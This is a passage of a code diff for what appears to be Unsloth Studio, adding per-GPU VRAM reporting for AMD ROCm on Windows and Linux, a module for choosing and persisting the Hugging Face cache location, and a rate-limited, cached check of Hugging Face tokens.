+    counters number EXACTLY the visible devices AND capacity forces the mapping;
+    otherwise every device is unknown. Best-effort but correct for the common
+    loaded-card case (#7072). Returns a list aligned to ``device_totals``.
+    """
+    n = len(device_totals)
+    if n == 0:
+        return []
+    useds = sorted(adapter_useds, reverse = True)
+    ranked_positions = sorted(range(n), key = lambda i: -device_totals[i])
+    ranked_totals = [device_totals[pos] for pos in ranked_positions]
+    assigned: list[Optional[float]]
+    # More counters than devices -> a hidden/display adapter (check before noise filter).
+    if len(useds) > n:
+        non_trivial = [u for u in useds if u >= _ROCM_WIN_ADAPTER_MIN_BYTES]
+        if len(non_trivial) != n:
+            # Not a clean bijection (a masked GPU is busy or a visible card idle):
+            # no counter maps to a specific card, so report unknown.
+            return [None] * n
+        # Exactly n supra-threshold counters: extras were placeholders, so a
+        # capacity-ranked bijection is plausible.
+        useds = non_trivial
+        ranked_useds = [useds[rank] for rank in range(n)]
+        # A usage above its ranked capacity is a hidden larger GPU; clamping onto the
+        # smaller card would fabricate a fully-used reading.
+        for rank in range(n):
+            if ranked_useds[rank] > ranked_totals[rank]:
+                return [None] * n
+        # Capacity forces the mapping only when the usage exceeds the next-smaller
+        # capacity; the smallest card and merely-fitting usages stay unknown.
+        # Keeps 40 GiB over 48/8 GiB -> [40, None].
+        assigned = [None] * n
+        for rank, pos in enumerate(ranked_positions):
+            if rank + 1 < n and ranked_useds[rank] > ranked_totals[rank + 1]:
+                assigned[pos] = min(ranked_useds[rank], device_totals[pos])
+        return assigned
+    # No hidden adapters: every counter is a visible card, so ranking is a permutation.
+    ranked_useds = [useds[rank] if rank < len(useds) else 0.0 for rank in range(n)]
+    # Ambiguous if a strictly larger usage also fits the next smaller card: the two
+    # could be swapped without breaking capacity, so ranking can't tell them apart.
+    for rank in range(n - 1):
+        upper, lower = ranked_useds[rank], ranked_useds[rank + 1]
+        if upper > lower and upper <= ranked_totals[rank + 1]:
+            return [None] * n
+    assigned = [None] * n
+    for rank, pos in enumerate(ranked_positions):
+        if rank < len(useds):
+            assigned[pos] = min(useds[rank], device_totals[pos])
+    return assigned
+
+
+def _rocm_windows_per_device_vram(device_indices: list[int]) -> list[Dict[str, Any]]:
+    """Per-GPU VRAM on Windows AMD/ROCm: total from torch properties (reliable),
+    used from the per-adapter Dedicated Usage counter.
+
+    Returns ``{index, visible_ordinal, name, used_gb, total_gb}`` per visible GPU
+    (``used_gb`` may be ``None`` when the counter is unavailable), or ``[]`` when
+    torch can't enumerate devices so callers fall through to the torch last resort.
+    """
+    if platform.system() != "Windows":
+        return []
+    mod, _ = _torch_get_device_module()
+    if mod is None:
+        return []
+    # Totals/names from torch properties (mem_get_info's free==total quirk zeroes used).
+    dev_meta: list[Dict[str, Any]] = []
+    for ordinal, phys_idx in enumerate(device_indices):
+        try:
+            props = mod.get_device_properties(ordinal)
+            dev_meta.append(
+                {
+                    "index": phys_idx,
+                    "visible_ordinal": ordinal,
+                    "name": props.name,
+                    "total_bytes": int(props.total_memory),
+                }
+            )
+        except Exception as e:
+            logger.debug("torch property probe failed for ordinal %d: %s", ordinal, e)
+    if not dev_meta:
+        return []
+
+    adapters = _rocm_windows_perf_counter_vram_by_adapter()
+    if adapters:
+        assigned = _match_adapter_used_to_devices(
+            [used for _, used in adapters],
+            [d["total_bytes"] for d in dev_meta],
+        )
+    else:
+        # Counter unavailable: show every GPU with a correct total, used unknown.
+        assigned = [None] * len(dev_meta)
+
+    devices: list[Dict[str, Any]] = []
+    for meta, used_bytes in zip(dev_meta, assigned):
+        total_gb = round(meta["total_bytes"] / (1024**3), 2)
+        used_gb = round(used_bytes / (1024**3), 2) if used_bytes is not None else None
+        devices.append(
+            {
+                "index": meta["index"],
+                "visible_ordinal": meta["visible_ordinal"],
+                "name": meta["name"],
+                "used_gb": used_gb,
+                "total_gb": total_gb,
+            }
+        )
+    return devices
+
+
+def _rocm_windows_device_payload_entry(
+    device: DeviceType, dev: Dict[str, Any], gpu_util_pct: Optional[float]
+) -> Dict[str, Any]:
+    """Build a ``get_gpu_utilization`` device entry from a per-device VRAM dict."""
+    total_gb = dev["total_gb"]
+    used_gb = dev["used_gb"]
+    return {
+        "available": True,
+        "backend": _backend_label(device),
+        "index": dev["index"],
+        "visible_ordinal": dev["visible_ordinal"],
+        "name": dev.get("name", "Unknown"),
+        "gpu_utilization_pct": gpu_util_pct,
+        "temperature_c": None,
+        "vram_used_gb": used_gb,
+        "vram_total_gb": total_gb,
+        "vram_utilization_pct": round((used_gb / total_gb) * 100, 1)
+        if total_gb and total_gb > 0 and used_gb is not None
+        else None,
+        "power_draw_w": None,
+        "power_limit_w": None,
+        "power_utilization_pct": None,
+    }
 
 
 def _gpu_utilization_payload(
@@ -816,30 +1127,24 @@ def get_gpu_utilization() -> Dict[str, Any]:
                 index_kind = result.get("index_kind"),
             )
 
-        # Fallback Windows ROCm
+        # Fallback Windows ROCm: per-adapter VRAM attribution (issue #7072), so
+        # every visible GPU is shown instead of a sum collapsed onto one device.
         if IS_ROCM and platform.system() == "Windows":
-            _win_used, _win_total = _rocm_windows_perf_counter_vram_gb()
-            if _win_used is not None and _win_total is not None:
-                _win_util = _rocm_windows_perf_counter_gpu_util_pct()
+            _win_ids = _get_parent_visible_gpu_spec().get("numeric_ids")
+            if not _win_ids:
+                _win_ids = list(range(_torch_get_physical_gpu_count() or 0))
+            _win_devices = _rocm_windows_per_device_vram(_win_ids)
+            if _win_devices:
+                # A single visible GPU can own the aggregate 3D-engine utilization;
+                # across several GPUs the sum isn't per-device, so leave it unset.
+                _win_util = (
+                    _rocm_windows_perf_counter_gpu_util_pct() if len(_win_devices) == 1 else None
+                )
                 return _gpu_utilization_payload(
                     device,
                     [
-                        {
-                            "available": True,
-                            "backend": _backend_label(device),
-                            "index": 0,
-                            "visible_ordinal": 0,
-                            "gpu_utilization_pct": _win_util,
-                            "temperature_c": None,
-                            "vram_used_gb": _win_used,
-                            "vram_total_gb": _win_total,
-                            "vram_utilization_pct": round((_win_used / _win_total) * 100, 1)
-                            if _win_total > 0
-                            else None,
-                            "power_draw_w": None,
-                            "power_limit_w": None,
-                            "power_utilization_pct": None,
-                        }
+                        _rocm_windows_device_payload_entry(device, _wd, _win_util)
+                        for _wd in _win_devices
                     ],
                 )
 
@@ -896,7 +1201,7 @@ def get_gpu_utilization() -> Dict[str, Any]:
                         "vram_used_gb": _used,
                         "vram_total_gb": _total,
                         "vram_utilization_pct": round((_used / _total) * 100, 1)
-                        if _total > 0
+                        if _total > 0 and _used is not None
                         else None,
                         "power_draw_w": None,
                         "power_limit_w": None,
@@ -990,19 +1295,27 @@ def _apply_unified_memory_correction(
     endpoints stay in sync on AMD iGPUs with unified memory.
     """
     torch_total_gb = torch_info["total_gb"]
+    torch_used_gb = torch_info.get("used_gb")
     smi_total_gb = device_metrics.get("vram_total_gb") or 0.0
+    # torch sees the full unified (GTT) pool; amd-smi only the dedicated carve-out.
+    # Adopt torch's larger total regardless of used: on Windows ROCm torch_used is
+    # None (free==total sentinel) but its total stays authoritative. Overwrite used
+    # only when torch's is known, then recompute utilization against whatever remains.
     if torch_total_gb > smi_total_gb:
-        torch_used_gb = torch_info["used_gb"]
         device_metrics["vram_total_gb"] = torch_total_gb
-        device_metrics["vram_used_gb"] = torch_used_gb
+        if torch_used_gb is not None:
+            device_metrics["vram_used_gb"] = torch_used_gb
+        _used_for_pct = device_metrics.get("vram_used_gb")
         device_metrics["vram_utilization_pct"] = (
-            round((torch_used_gb / torch_total_gb) * 100, 1) if torch_total_gb > 0 else None
+            round((_used_for_pct / torch_total_gb) * 100, 1)
+            if torch_total_gb > 0 and _used_for_pct is not None
+            else None
         )
         logger.debug(
-            "ROCm unified memory: replaced amd-smi VRAM (%.2f GB) with "
-            "torch mem_get_info total (%.2f GB) for device %s",
-            smi_total_gb,
+            "ROCm unified memory: adopted torch mem_get_info total (%.2f GB) over "
+            "amd-smi (%.2f GB) for device %s",
             torch_total_gb,
+            smi_total_gb,
             torch_info.get("index"),
         )
 
@@ -1044,6 +1357,75 @@ def _reconcile_primary_rocm_unified_memory(
     _apply_unified_memory_correction(utilization, torch_devices[0])
 
 
+def _rocm_visibility_mask_active() -> bool:
+    """True when any ROCm/CUDA visibility variable filters the device set."""
+    for var in (
+        "HIP_VISIBLE_DEVICES",
+        "ROCR_VISIBLE_DEVICES",
+        "CUDA_VISIBLE_DEVICES",
+        "GPU_DEVICE_ORDINAL",
+    ):
+        value = os.environ.get(var)
+        if value and value.strip():
+            return True
+    return False
+
+
+def _overlay_system_wide_vram(devices: list[Dict[str, Any]]) -> None:
+    """Replace process-local torch VRAM with system-wide Linux ROCm figures.
+
+    The torch fallback is process-local, so a model served by the separate
+    llama-server process reads as ~0 used even with the GPU full (#7072). DRM
+    sysfs gives per-card figures the kernel updates across all processes. Sources
+    are matched by the device's PHYSICAL index (never list position), and only
+    when NO visibility mask is active and the device count equals the host GPU
+    count; under any mask the index is not a verifiable host ordinal, so torch's
+    figures are kept. Best-effort, in place: a device with no matching card, or a
+    unified-memory APU whose sysfs total is below torch's GTT-backed total, keeps
+    torch's (mirrors _apply_unified_memory_correction).
+
+    Windows is intentionally not overlaid: its per-adapter perf counters cannot be
+    mapped to ROCm ordinals and miss WDDM shared memory, so the multi-GPU view
+    keeps torch there rather than risk misattributing another adapter's usage.
+    """
+    if not devices or platform.system() != "Linux":
+        return
+    # Match by PCI identity, never list position: index N in KFD topology is ROCm
+    # physical device N and carries its PCI address, which DRM sysfs keys on too.
+    # The two gates below verify ``index`` really is a host-physical ordinal
+    # (torch exposes no PCI id to check directly):
+    #   * No visibility mask -- any mask makes ``index`` container/ROCR-relative
+    #     rather than a host ordinal.
+    #   * Device count == host GPU count -- rules out a device-cgroup container
+    #     that sets no env var yet compacts torch's indices from zero.
+    pci_by_ordinal = _rocm_kfd_gpu_pci_ids()
+    if not pci_by_ordinal:
+        return
+    if _rocm_visibility_mask_active() or len(devices) != len(pci_by_ordinal):
+        return
+    vram_by_pci = _rocm_linux_sysfs_vram_by_pci_gb()
+    for dev in devices:
+        index = dev.get("index")
+        if not isinstance(index, int) or not (0 <= index < len(pci_by_ordinal)):
+            continue
+        entry = vram_by_pci.get(pci_by_ordinal[index].lower())
+        if entry is None:
+            continue
+        used, total = entry
+        dev_total = dev.get("vram_total_gb") or 0.0
+        # Overlay only a device that maps 1:1 to the whole card: torch total must
+        # match sysfs total within ~10%. A mismatch either way means a different
+        # memory scope -- a unified-memory APU (sysfs sees only the dedicated
+        # slice, torch the GTT pool) or a partitioned MI300 (sysfs reports the
+        # whole card, dwarfing a partition) -- and overlaying would misstate free
+        # VRAM (a partition would look like it has the whole card free).
+        if dev_total <= 0 or abs(total - dev_total) > 0.1 * dev_total:
+            continue
+        dev["vram_used_gb"] = used
+        dev["vram_total_gb"] = total
+        dev["vram_utilization_pct"] = round((used / total) * 100, 1) if total > 0 else None
+
+
 def get_visible_gpu_utilization() -> Dict[str, Any]:
     device = get_device()
 
@@ -1062,6 +1444,49 @@ def get_visible_gpu_utilization() -> Dict[str, Any]:
                 _reconcile_rocm_unified_memory(result, numeric_ids)
             return result
 
+        # Windows AMD/ROCm (issue #7072): the System tab's VRAM source. The torch
+        # fallback below would report used==0 (free==total), so read per-adapter
+        # Dedicated Usage instead; total from torch properties.
+        if IS_ROCM and platform.system() == "Windows":
+            win_numeric_ids = parent_visible_spec.get("numeric_ids")
+            if win_numeric_ids:
+                win_ids = win_numeric_ids
+                win_index_kind = "physical"
+            else:
+                win_ids = list(range(_torch_get_physical_gpu_count() or 0))
+                win_index_kind = "relative"
+            win_devices = _rocm_windows_per_device_vram(win_ids)
+            if win_devices:
+                devices = []
+                for wd in win_devices:
+                    total = wd["total_gb"]
+                    used = wd["used_gb"]
+                    devices.append(
+                        {
+                            "index": wd["index"],
+                            "index_kind": win_index_kind,
+                            "visible_ordinal": wd["visible_ordinal"],
+                            "name": wd.get("name"),
+                            "gpu_utilization_pct": None,
+                            "temperature_c": None,
+                            "vram_used_gb": used,
+                            "vram_total_gb": total,
+                            "vram_utilization_pct": round((used / total) * 100, 1)
+                            if total and total > 0 and used is not None
+                            else None,
+                            "power_draw_w": None,
+                            "power_limit_w": None,
+                            "power_utilization_pct": None,
+                        }
+                    )
+                return {
+                    "available": True,
+                    "backend": _backend_label(device),
+                    "parent_visible_gpu_ids": win_numeric_ids or [],
+                    "devices": devices,
+                    "index_kind": win_index_kind,
+                }
+
     # Torch-based fallback for CUDA (nvidia-smi unavailable, AMD ROCm) and XPU (Intel)
     if device in (DeviceType.CUDA, DeviceType.XPU):
         parent_ids = get_parent_visible_gpu_ids()
@@ -1089,13 +1514,19 @@ def get_visible_gpu_utilization() -> Dict[str, Any]:
                         "vram_used_gb": used,
                         "vram_total_gb": total,
                         "vram_utilization_pct": round((used / total) * 100, 1)
-                        if total > 0
+                        if total > 0 and used is not None
                         else None,
                         "power_draw_w": None,
                         "power_limit_w": None,
                         "power_utilization_pct": None,
                     }
                 )
+            if IS_ROCM and index_kind == "physical":
+                # Swap process-local torch VRAM for system-wide sysfs so a model
+                # held by the separate llama-server process shows up (#7072).
+                # Physical-index only: a relative index (UUID/MIG mask) is not a
+                # host GPU id. The overlay verifies the rest itself.
+                _overlay_system_wide_vram(devices)
             return {
                 "available": True,
                 "backend": _backend_label(device),
diff --git a/studio/backend/utils/helper_precache_settings.py b/studio/backend/utils/helper_precache_settings.py
index db19a2d028..e7d3c0e6dd 100644
--- a/studio/backend/utils/helper_precache_settings.py
+++ b/studio/backend/utils/helper_precache_settings.py
@@ -32,7 +32,7 @@ def helper_model_disabled_by_env() -> bool:
 def get_helper_precache_enabled() -> bool:
     """Read the persisted startup pre-cache preference.
 
-    Missing or unreadable settings default to False so Studio startup never
+    Missing or unreadable settings default to False so Unsloth startup never
     performs optional network work unless the user explicitly opted in.
     """
     try:
@@ -45,7 +45,7 @@ def get_helper_precache_enabled() -> bool:
 
 
 def set_helper_precache_enabled(value: Any) -> bool:
-    """Persist whether Studio should pre-cache the Helper LLM at startup."""
+    """Persist whether Unsloth should pre-cache the Helper LLM at startup."""
     parsed = _coerce_bool(value)
     if parsed is None:
         raise ValueError("Helper LLM startup pre-cache must be true or false.")
diff --git a/studio/backend/utils/hf_cache_settings.py b/studio/backend/utils/hf_cache_settings.py
new file mode 100644
index 0000000000..07d901a3d2
--- /dev/null
+++ b/studio/backend/utils/hf_cache_settings.py
@@ -0,0 +1,362 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Live, persisted Hugging Face cache routing for Unsloth Studio.
+
+Hugging Face reads cache environment variables at import time.  Studio therefore
+owns an explicit cache snapshot for each operation instead of trying to refresh
+``huggingface_hub.constants`` in the long-running API process.
+"""
+
+from __future__ import annotations
+
+import os
+import shutil
+import tempfile
+import threading
+from contextlib import contextmanager
+from dataclasses import dataclass
+from pathlib import Path
+from typing import Iterator, Literal, Mapping, Optional
+
+
+CACHE_HOME_SETTING_KEY = "hugging_face_cache_home"
+CACHE_HISTORY_SETTING_KEY = "hugging_face_cache_history"
+MAX_CACHE_HISTORY = 16
+
+CacheSource = Literal["default", "studio", "environment"]
+
+_CACHE_ENV_KEYS = (
+    "HF_HOME",
+    "HF_HUB_CACHE",
+    "HUGGINGFACE_HUB_CACHE",
+    "HF_XET_CACHE",
+)
+# Imported by storage_roots._setup_cache_env before Studio seeds defaults.
+_EXPLICIT_CACHE_ENV = {
+    key: value.strip()
+    for key in _CACHE_ENV_KEYS
+    if (value := os.environ.get(key)) is not None and value.strip()
+}
+_settings_lock = threading.RLock()
+_spawn_env_lock = threading.RLock()
+
+
+@dataclass(frozen = True)
+class HuggingFaceCachePaths:
+    cache_home: Path
+    hub_cache: Path
+    xet_cache: Path
+    source: CacheSource
+    environment_variable: Optional[str] = None
+
+    @property
+    def editable(self) -> bool:
+        return self.source != "environment"
+
+    @property
+    def is_custom(self) -> bool:
+        return self.source == "studio"
+
+    def child_env(self, base: Optional[Mapping[str, str]] = None) -> dict[str, str]:
+        env = dict(os.environ if base is None else base)
+        # Do not rewrite HF_HOME. It also owns HF's token path, and credentials
+        # must not be moved onto a removable cache volume.
+        env["HF_HUB_CACHE"] = str(self.hub_cache)
+        env["HF_XET_CACHE"] = str(self.xet_cache)
+        env.pop("HUGGINGFACE_HUB_CACHE", None)
+        return env
+
+
+def _default_cache_home() -> Path:
+    xdg = (os.environ.get("XDG_CACHE_HOME") or "").strip()
+    return (Path(xdg).expanduser() if xdg else Path.home() / ".cache") / "huggingface"
+
+
+def _canonical(path: Path | str) -> Path:
+    return Path(path).expanduser().resolve(strict = False)
+
+
+def _environment_paths() -> Optional[HuggingFaceCachePaths]:
+    explicit_home = _EXPLICIT_CACHE_ENV.get("HF_HOME")
+    explicit_hub = _EXPLICIT_CACHE_ENV.get("HF_HUB_CACHE") or _EXPLICIT_CACHE_ENV.get(
+        "HUGGINGFACE_HUB_CACHE"
+    )
+    if not explicit_home and not explicit_hub:
+        return None
+    explicit_xet = _EXPLICIT_CACHE_ENV.get("HF_XET_CACHE")
+    default_home = _default_cache_home()
+    hf_home = _canonical(explicit_home) if explicit_home else default_home
+    hub = _canonical(explicit_hub) if explicit_hub else hf_home / "hub"
+    xet = _canonical(explicit_xet) if explicit_xet else hf_home / "xet"
+    controlling = next(
+        key
+        for key in ("HF_HUB_CACHE", "HUGGINGFACE_HUB_CACHE", "HF_HOME")
+        if key in _EXPLICIT_CACHE_ENV
+    )
+    # Settings describes model downloads, so an explicit hub path is the
+    # displayed/opened location even when HF_HOME points somewhere else for
+    # credentials or XET data.
+    display_home = (
+        (hub.parent if explicit_hub and hub.name.lower() == "hub" else hub)
+        if explicit_hub
+        else hf_home
+    )
+    return HuggingFaceCachePaths(display_home, hub, xet, "environment", controlling)
+
+
+def _stored_cache_home() -> Optional[Path]:
+    try:
+        from storage.studio_db import get_app_setting
+        value = get_app_setting(CACHE_HOME_SETTING_KEY, None)
+    except Exception:
+        return None
+    if not isinstance(value, str) or not value.strip():
+        return None
+    try:
+        return _canonical(value.strip())
+    except (OSError, RuntimeError, ValueError):
+        return None
+
+
+def get_hf_cache_paths() -> HuggingFaceCachePaths:
+    env_paths = _environment_paths()
+    if env_paths is not None:
+        return env_paths
+    stored = _stored_cache_home()
+    if stored is not None:
+        xet = _EXPLICIT_CACHE_ENV.get("HF_XET_CACHE")
+        return HuggingFaceCachePaths(
+            stored,
+            stored / "hub",
+            _canonical(xet) if xet else stored / "xet",
+            "studio",
+        )
+    home = _default_cache_home()
+    xet = _EXPLICIT_CACHE_ENV.get("HF_XET_CACHE")
+    return HuggingFaceCachePaths(
+        home,
+        home / "hub",
+        _canonical(xet) if xet else home / "xet",
+        "default",
+    )
+
+
+def active_hf_hub_cache() -> str:
+    """Return the current hub cache as a string for library call kwargs."""
+
+    return str(get_hf_cache_paths().hub_cache)
+
+
+@contextmanager
+def child_environment_for_spawn(environment: Mapping[str, str]) -> Iterator[None]:
+    """Apply captured env before spawn imports the child entrypoint.
+
+    Applying variables only inside the multiprocessing target can be too late
+    for libraries that snapshot environment variables at import. The lock keeps
+    this short parent-process override atomic through ``Process.start()``.
+    """
+
+    with _spawn_env_lock:
+        missing = object()
+        saved_environment: dict[str, str | object] = {}
+        for key, value in environment.items():
+            saved_environment[key] = os.environ.get(key, missing)
+            os.environ[key] = value
+        try:
+            yield
+        finally:
+            for key, previous in saved_environment.items():
+                if previous is missing:
+                    os.environ.pop(key, None)
+                else:
+                    os.environ[key] = str(previous)
+
+
+def initialize_hf_cache_environment() -> HuggingFaceCachePaths:
+    """Seed import-time HF variables once during backend startup."""
+
+    paths = get_hf_cache_paths()
+    # Preserve an explicit HF_HOME, otherwise keep credentials at the platform
+    # default while routing cache bytes through the selected home.
+    if not os.environ.get("HF_HOME", "").strip():
+        os.environ["HF_HOME"] = str(_default_cache_home())
+    os.environ["HF_HUB_CACHE"] = str(paths.hub_cache)
+    os.environ["HF_XET_CACHE"] = str(paths.xet_cache)
+    if "HUGGINGFACE_HUB_CACHE" not in _EXPLICIT_CACHE_ENV:
+        os.environ.pop("HUGGINGFACE_HUB_CACHE", None)
+    for directory in (paths.hub_cache, paths.xet_cache):
+        try:
+            directory.mkdir(parents = True, exist_ok = True)
+        except OSError:
+            pass
+    return paths
+
+
+def _validate_cache_home(raw_path: str) -> Path:
+    value = raw_path.strip()
+    if not value:
+        raise ValueError("Choose a cache folder.")
+    candidate = Path(value).expanduser()
+    if not candidate.is_absolute():
+        raise ValueError("The Hugging Face cache folder must be an absolute path.")
+    try:
+        resolved = candidate.resolve(strict = False)
+    except (OSError, RuntimeError, ValueError) as exc:
+        raise ValueError("The Hugging Face cache folder is invalid.") from exc
+
+    if resolved.parent == resolved:
+        raise ValueError("Choose a folder inside the filesystem or drive root.")
+    try:
+        from hub.storage.scan_folders import (
+            contains_sensitive_path_component,
+            is_denied_system_path,
+        )
+    except ImportError:
+        contains_sensitive_path_component = is_denied_system_path = None
+    if is_denied_system_path is not None and is_denied_system_path(str(resolved)):
+        raise ValueError("System folders cannot be used for model downloads.")
+    if contains_sensitive_path_component is not None and contains_sensitive_path_component(
+        str(resolved)
+    ):
+        raise ValueError("Credential or config folders cannot be used for model downloads.")
+
+    parent = resolved.parent
+    if not parent.exists() or not parent.is_dir():
+        raise ValueError("The parent folder does not exist.")
+    try:
+        resolved.mkdir(exist_ok = True)
+        if not resolved.is_dir():
+            raise ValueError("The selected cache location is not a folder.")
+        for child in (resolved / "hub", resolved / "xet"):
+            child.mkdir(exist_ok = True)
+            with tempfile.NamedTemporaryFile(prefix = ".unsloth-write-test-", dir = child):
+                pass
+    except PermissionError as exc:
+        raise ValueError("Studio does not have permission to write to this folder.") from exc
+    except OSError as exc:
+        raise ValueError(f"Studio cannot use this cache folder: {exc}") from exc
+    return resolved
+
+
+def _stored_history() -> list[Path]:
+    try:
+        from storage.studio_db import get_app_setting
+        raw = get_app_setting(CACHE_HISTORY_SETTING_KEY, [])
+    except Exception:
+        raw = []
+    if not isinstance(raw, list):
+        return []
+    out: list[Path] = []
+    seen: set[str] = set()
+    for value in raw:
+        if not isinstance(value, str) or not value.strip():
+            continue
+        try:
+            path = _canonical(value)
+        except (OSError, RuntimeError, ValueError):
+            continue
+        key = os.path.normcase(str(path))
+        if key in seen:
+            continue
+        seen.add(key)
+        out.append(path)
+    return out[:MAX_CACHE_HISTORY]
+
+
+def set_hf_cache_home(cache_home: Optional[str]) -> HuggingFaceCachePaths:
+    if _environment_paths() is not None:
+        raise RuntimeError("The Hugging Face cache location is managed by an environment variable.")
+    with _settings_lock:
+        previous = _stored_cache_home()
+        next_home = _validate_cache_home(cache_home) if cache_home is not None else None
+        history = _stored_history()
+        if previous is not None and previous != next_home:
+            history.insert(0, previous)
+        deduped: list[str] = []
+        seen: set[str] = set()
+        for path in history:
+            key = os.path.normcase(str(path))
+            if key in seen or path == next_home:
+                continue
+            seen.add(key)
+            deduped.append(str(path))
+            if len(deduped) >= MAX_CACHE_HISTORY:
+                break
+        from storage.studio_db import upsert_app_settings
+
+        upsert_app_settings(
+            {
+                CACHE_HOME_SETTING_KEY: str(next_home) if next_home is not None else None,
+                CACHE_HISTORY_SETTING_KEY: deduped,
+            }
+        )
+    # Inventory scans are cached independently from settings. Invalidate after
+    # persistence so the next request sees both the new active root and history.
+    from hub.utils.inventory_scan import invalidate_hf_cache_scans
+
+    invalidate_hf_cache_scans()
+    return get_hf_cache_paths()
+
+
+def known_hf_cache_homes() -> list[Path]:
+    paths = get_hf_cache_paths()
+    stored = _stored_cache_home()
+    candidates: list[Path] = []
+    if paths.source != "environment":
+        candidates.append(paths.cache_home)
+    elif explicit_home := _EXPLICIT_CACHE_ENV.get("HF_HOME"):
+        candidates.append(_canonical(explicit_home))
+    if stored is not None:
+        candidates.append(stored)
+    candidates.extend([*_stored_history(), _default_cache_home()])
+    out: list[Path] = []
+    seen: set[str] = set()
+    for candidate in candidates:
+        try:
+            canonical = _canonical(candidate)
+        except (OSError, RuntimeError, ValueError):
+            continue
+        key = os.path.normcase(str(canonical))
+        if key in seen:
+            continue
+        seen.add(key)
+        out.append(canonical)
+    return out
+
+
+def known_hf_hub_caches() -> list[Path]:
+    active = get_hf_cache_paths()
+    out = [active.hub_cache]
+    seen = {os.path.normcase(str(_canonical(active.hub_cache)))}
+    for home in known_hf_cache_homes():
+        hub = _canonical(home / "hub")
+        key = os.path.normcase(str(hub))
+        if key not in seen:
+            seen.add(key)
+            out.append(hub)
+    return out
+
+
+def cache_status(paths: Optional[HuggingFaceCachePaths] = None) -> dict:
+    paths = paths or get_hf_cache_paths()
+    available = paths.cache_home.is_dir()
+    writable = available and os.access(paths.cache_home, os.W_OK | os.X_OK)
+    free_bytes: Optional[int] = None
+    if available:
+        try:
+            free_bytes = int(shutil.disk_usage(paths.cache_home).free)
+        except OSError:
+            pass
+    return {
+        "cache_home": str(paths.cache_home),
+        "hub_cache": str(paths.hub_cache),
+        "xet_cache": str(paths.xet_cache),
+        "source": paths.source,
+        "editable": paths.editable,
+        "is_custom": paths.is_custom,
+        "available": available,
+        "writable": writable,
+        "free_bytes": free_bytes,
+        "environment_variable": paths.environment_variable,
+    }
diff --git a/studio/backend/utils/hf_token_validation.py b/studio/backend/utils/hf_token_validation.py
new file mode 100644
index 0000000000..7247c6e756
--- /dev/null
+++ b/studio/backend/utils/hf_token_validation.py
@@ -0,0 +1,208 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Cached, rate-limited Hugging Face token validation."""
+
+from __future__ import annotations
+
+import hashlib
+import threading
+import time
+from collections import deque
+from dataclasses import dataclass
+from typing import Literal
+
+from huggingface_hub import HfApi
+from huggingface_hub.utils import build_hf_headers, get_session
+
+
+TokenValidationStatus = Literal["valid", "invalid", "rate_limited", "unavailable"]
+
+
+@dataclass(frozen = True)
+class TokenValidationResult:
+    status: TokenValidationStatus
+    retry_after_seconds: int | None = None
+
+
+_WINDOW_SECONDS = 3600.0
+_MAX_ATTEMPTS = 3
+_CACHE_TTL_SECONDS = 3600.0
+_TEMPORARY_CACHE_TTL_SECONDS = 15.0
+_MAX_BUCKETS = 4096
+_MAX_CACHE_ENTRIES = 4096
+_INFLIGHT_WAIT_SECONDS = 30.0
+_REMOTE_TIMEOUT_SECONDS = 10.0
+
+_attempts: dict[str, deque[float]] = {}
+_cache: dict[str, tuple[float, TokenValidationResult]] = {}
+_inflight: dict[str, threading.Event] = {}
+_lock = threading.Lock()
+
+
+def _fingerprint(token: str) -> str:
+    return hashlib.sha256(token.encode("utf-8")).hexdigest()
+
+
+def _prune_attempts(bucket: deque[float], now: float) -> None:
+    while bucket and now - bucket[0] >= _WINDOW_SECONDS:
+        bucket.popleft()
+
+
+def _prune_locked(now: float) -> None:
+    for key in list(_attempts):
+        bucket = _attempts[key]
+        _prune_attempts(bucket, now)
+        if not bucket:
+            del _attempts[key]
+    for key, (expires_at, _result) in list(_cache.items()):
+        if expires_at <= now:
+            del _cache[key]
+
+
+def _cached_locked(fingerprint: str, now: float) -> TokenValidationResult | None:
+    cached = _cache.get(fingerprint)
+    if cached is None:
+        return None
+    expires_at, result = cached
+    if expires_at <= now:
+        del _cache[fingerprint]
+        return None
+    return result
+
+
+def _retry_after(bucket: deque[float], now: float) -> int:
+    return max(1, int(_WINDOW_SECONDS - (now - bucket[0])) + 1)
+
+
+def _reserve_attempt_locked(rate_key: str, now: float) -> TokenValidationResult | None:
+    bucket = _attempts.get(rate_key)
+    if bucket is None:
+        if len(_attempts) >= _MAX_BUCKETS:
+            _prune_locked(now)
+        if len(_attempts) >= _MAX_BUCKETS:
+            return TokenValidationResult(
+                status = "rate_limited",
+                retry_after_seconds = max(1, int(_WINDOW_SECONDS)),
+            )
+        bucket = _attempts[rate_key] = deque()
+    _prune_attempts(bucket, now)
+    if len(bucket) >= _MAX_ATTEMPTS:
+        return TokenValidationResult(
+            status = "rate_limited",
+            retry_after_seconds = _retry_after(bucket, now),
+        )
+    bucket.append(now)
+    return None
+
+
+def _http_status(response: object | None) -> int | None:
+    status = getattr(response, "status_code", None)
+    try:
+        return int(status) if status is not None else None
+    except (TypeError, ValueError):
+        return None
+
+
+def _remote_retry_after(response: object | None) -> int | None:
+    headers = getattr(response, "headers", None)
+    if not headers:
+        return None
+    raw = headers.get("Retry-After")
+    try:
+        return max(1, int(float(raw))) if raw is not None else None
+    except (TypeError, ValueError):
+        return None
+
+
+def _classify_response(response: object | None) -> TokenValidationResult:
+    status = _http_status(response)
+    if status is not None and 200 <= status < 300:
+        return TokenValidationResult(status = "valid")
+    if status == 401:
+        return TokenValidationResult(status = "invalid")
+    if status == 429:
+        return TokenValidationResult(
+            status = "rate_limited",
+            retry_after_seconds = _remote_retry_after(response),
+        )
+    return TokenValidationResult(status = "unavailable")
+
+
+def _check_remote(token: str) -> TokenValidationResult:
+    api = HfApi()
+    try:
+        # HfApi.whoami has no timeout parameter in the pinned Hub client.
+        # Use its session and headers against the same whoami endpoint.
+        response = get_session().get(
+            f"{api.endpoint}/api/whoami-v2",
+            headers = build_hf_headers(token = token),
+            timeout = _REMOTE_TIMEOUT_SECONDS,
+        )
+    except Exception as exc:
+        # huggingface-hub 0.36.x can wrap a 401 as requests.HTTPError.
+        return _classify_response(getattr(exc, "response", None))
+    return _classify_response(response)
+
+
+def validate_hf_token(token: str, *, rate_key: str) -> TokenValidationResult:
+    """Validate ``token`` without retaining it, sharing results across callers.
+
+    Cached checks do not consume the caller's three-per-hour network budget. A
+    single-flight event also prevents simultaneously mounted UI surfaces from
